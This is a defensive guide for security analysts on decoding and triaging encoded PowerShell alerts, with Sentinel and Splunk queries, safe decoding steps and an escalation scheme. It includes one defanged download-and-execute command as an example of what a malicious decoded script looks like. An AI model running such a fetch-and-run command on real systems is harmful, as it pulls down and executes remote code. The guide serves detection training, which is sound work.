How to Triage an Encoded PowerShell Alert

Encoded PowerShell alerts are common, and the command line tells you almost nothing until you decode it. This guide helps new analysts decode the command safely, read the context around it and reach a defensible decision on shift.

Why does encoding matter?

PowerShell has a legitimate -EncodedCommand parameter. Microsoft documents it as a way to pass commands that contain complex quotation marks or curly braces. The value must be Base64 of a UTF-16LE string.

Attackers like the same feature because it hides the real command from a quick read and from simple string matching. ATT&CK tracks this as T1027.010 Command Obfuscation alongside T1059.001 PowerShell.

So encoding alone does not prove malice. It only means you have not yet seen the command. Your job is to reveal it, then judge it in context.

Find the full command and its parent

Start by pulling the process event, not just the alert text. Alert titles and summaries often truncate long command lines. You want the complete command, the user, the parent process and the parent's command line.

Microsoft Sentinel or Defender XDR

This query extracts the Base64 and decodes it inline. It keeps every second byte, which is enough for the ASCII text that most scripts contain. Treat any odd characters in the result as a reason to decode the string properly with the method in the next task.

DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe", "pwsh.exe")
| extend Encoded = extract(@"(?i)\s[-/]e[ncodema]*\s+([a-z0-9+/=]{16,})", 1, ProcessCommandLine)
| where isnotempty(Encoded)
| extend Bytes = base64_decode_toarray(Encoded)
| mv-apply with_itemindex=i b = Bytes to typeof(long) on (
    where i % 2 == 0
    | order by i asc
    | summarize CodePoints = make_list(b)
)
| extend Decoded = unicode_codepoints_to_string(CodePoints)
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName,
    InitiatingProcessCommandLine, ProcessCommandLine, Decoded
| order by Timestamp desc

Splunk with Sysmon

Sysmon Event ID 1 gives you the fields you need. Adjust the index name to match your environment.

index=sysmon EventCode=1 (Image="*\\powershell.exe" OR Image="*\\pwsh.exe" OR OriginalFileName="PowerShell.EXE")
| rex field=CommandLine "(?i)\s[-/]e[ncodema]*\s+(?<encoded>[a-z0-9+/=]{16,})"
| where isnotnull(encoded)
| table _time host User ParentImage ParentCommandLine CommandLine encoded
| sort - _time

Decode the command safely

Decode on your analyst machine or in an approved tool, and only ever convert the text. Never run the output, and never pipe it into Invoke-Expression.

$b64 = 'VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAFAAcgBhAGMAdABpAGMAZQAgAHMAYQBtAHAAbABlADoAIAB0AGgAaQBzACAAcwB0AHIAaQBuAGcAIABpAHMAIABoAGEAcgBtAGwAZQBzAHMAJwA='
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($b64))

That sample is harmless, so you can use it for practice. In .NET, Unicode means UTF-16LE. If you prefer CyberChef, chain From Base64 and Decode text set to UTF-16LE (1200). Use a local or internally hosted copy if your policy restricts pasting data into websites.

The output may contain a second layer. A call to FromBase64String feeding GzipStream or DeflateStream means the real content is compressed. In CyberChef, add Gunzip or Raw Inflate and keep going until you reach readable script.

Check script block logs for the real script

If script block logging is enabled, Event ID 4104 may already hold the decoded script, because PowerShell logs the content it processes. Windows PowerShell writes to Microsoft-Windows-PowerShell/Operational, and PowerShell 7 writes to PowerShellCore/Operational.

index=wineventlog source="XmlWinEventLog:Microsoft-Windows-PowerShell/Operational" EventCode=4104 host="WS-114"
| table _time ScriptBlockId MessageNumber MessageTotal Path ScriptBlockText
| sort 0 ScriptBlockId num(MessageNumber)

Large scripts are split across several events, so sort by the part number and join them using the shared ScriptBlockId. Even without the policy, PowerShell automatically logs script blocks with content often used by malicious scripts. Microsoft describes that only as a record of last resort, so absence proves nothing.

Read what the script is doing

You do not need to understand every line. Look for intent. A decoded downloader often looks like this defanged illustration:

IEX (New-Object Net.WebClient).DownloadString('hxxp://203.0.113.10/a.ps1')

These are the patterns that should change how you treat the alert:

Judge the parent process

The same command means very different things depending on what launched it. Trace the chain up at least two levels, because cmd.exe in the middle often hides the true origin.

Parent	What it may mean	What to check
winword.exe, excel.exe, outlook.exe	Malicious document or attachment	Recent emails and opened files for that user
explorer.exe	User launched it, possibly through the Run dialog after a fake prompt (T1204.004)	The RunMRU registry key and recent browser activity
w3wp.exe	Possible web shell on an IIS server (T1505.003)	Web logs and recently written files in web directories
wmiprvse.exe	Remote execution through WMI (T1047)	Logons to the host just before the event
services.exe	Service execution (T1569.002)	New service installs, System Event ID 7045
svchost.exe	Often a scheduled task (T1053.005)	New tasks, Security Event ID 4698 if audited
ccmexec.exe, AgentExecutor.exe	Likely Configuration Manager or Intune management	Confirm the script matches a known deployment

Check what happened next

Whatever the script looks like, confirm what it actually did. Build a short timeline of network connections, child processes and files created around the event.

let HostPrefix = "ws-114";
let Start = datetime(2026-11-06T09:14:00Z);
union
    (DeviceProcessEvents
        | where InitiatingProcessFileName in~ ("powershell.exe", "pwsh.exe")
        | project Timestamp, DeviceName, Source = "Process", Detail = ProcessCommandLine),
    (DeviceNetworkEvents
        | where InitiatingProcessFileName in~ ("powershell.exe", "pwsh.exe")
        | project Timestamp, DeviceName, Source = "Network", Detail = strcat(RemoteUrl, " ", RemoteIP, ":", RemotePort)),
    (DeviceFileEvents
        | where InitiatingProcessFileName in~ ("powershell.exe", "pwsh.exe") and ActionType == "FileCreated"
        | project Timestamp, DeviceName, Source = "File", Detail = FolderPath)
| where DeviceName startswith HostPrefix
| where Timestamp between (Start .. (Start + 1h))
| order by Timestamp asc

• Did PowerShell connect to an external address or domain? Note whether the connection succeeded.
• Did it create files, especially executables or scripts in user writable paths?
• Did it spawn other processes, such as rundll32.exe, mshta.exe or whoami.exe?
• Has the same Base64 string appeared on other hosts? Search for it across the estate.
• Is the same command seen regularly over weeks from the same parent? That supports a benign, scheduled source.

Close it or escalate it?

Use the evidence to pick one outcome, and write your reasoning in the ticket so the next analyst can follow it.

1. L0
   Benign, knownDecoded content matches a documented tool, with an expected parent and account. Close it and propose a narrow tuning rule.
   Close
2. L1
   Unclear intentContent is readable but unfamiliar, with no harmful behaviour seen. Ask the system owner and keep the ticket open.
   Verify
3. L2
   SuspiciousStealth flags, an unusual parent or a contact with an unknown domain. Escalate with your decoded output.
   Escalate
4. L3
   MaliciousA download and run pattern, in-memory loading or tampering with defences. Follow your containment runbook straight away.
   Contain

Key takeaways

---

Next time this alert fires, try the decoding steps with the practice string first, then save your favourite query as a shortcut. A consistent routine makes each encoded command quicker to resolve and much easier to hand over.